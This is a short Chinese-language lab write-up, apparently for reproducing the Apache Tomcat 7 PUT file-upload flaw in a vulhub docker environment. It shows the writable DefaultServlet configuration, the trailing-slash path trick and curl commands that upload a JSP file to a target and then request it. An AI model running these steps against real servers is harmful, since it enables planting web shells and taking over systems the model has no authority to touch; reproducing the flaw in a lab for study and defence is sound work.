受影响的tomcat版本:Apache Tomcat 7.0.0 - 7.0.79
服务器对PUT方法可是要谨慎!!! 不然很容易被搞的。。。
一、环境搭建
vulhub docker
docker-compose up -d
端口是8080
二、漏洞攻击
1)漏洞配置分析
readonly配置为为false导致可写
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name> //readonly部分为false导致可写
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
2)漏洞利用
抓包修改
访问your-ip:8080,刷新抓包,修改如下:
注意:
- 修改方法为PUT
- 修改路径为/ss.jsp/
路径最后的/是必须要加上的。
使用curl
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp //put写文件
curl http://target-host-or-ip-address:port/test.jsp //查看写上去的文件